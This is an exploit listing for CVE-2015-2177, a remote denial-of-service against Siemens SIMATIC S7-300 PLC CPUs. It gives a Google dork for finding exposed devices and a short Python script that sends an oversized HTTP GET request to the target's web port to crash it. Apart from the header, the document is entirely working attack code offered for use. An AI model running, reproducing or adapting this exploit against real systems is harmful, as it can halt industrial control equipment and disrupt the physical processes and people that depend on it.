Siemens SIMATIC S7-300 CPU Denial Of Service

`# Exploit Title: Siemens SIMATIC S7-300 CPU - Remote Denial Of Service  
# Google Dork: inurl:/Portal/Portal.mwsl  
# Date: 2018-05-30  
# Exploit Author: t4rkd3vilz  
# Vendor Homepage: https://www.siemens.com/  
# Version: SIMATIC S7-300 CPU family: all versions.  
# Tested on: Kali Linux  
# CVE: CVE-2015-2177  
  
#!/usr/bin/python  
import socket  
  
target_address="TargetIP"  
target_port=80  
  
buffer = "GET " + "\x42" * 2220 + " HTTP/1.1\r\n\r\n"  
  
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
connect=sock.connect((target_address,target_port))  
sock.send(buffer)  
sock.close()  
  
`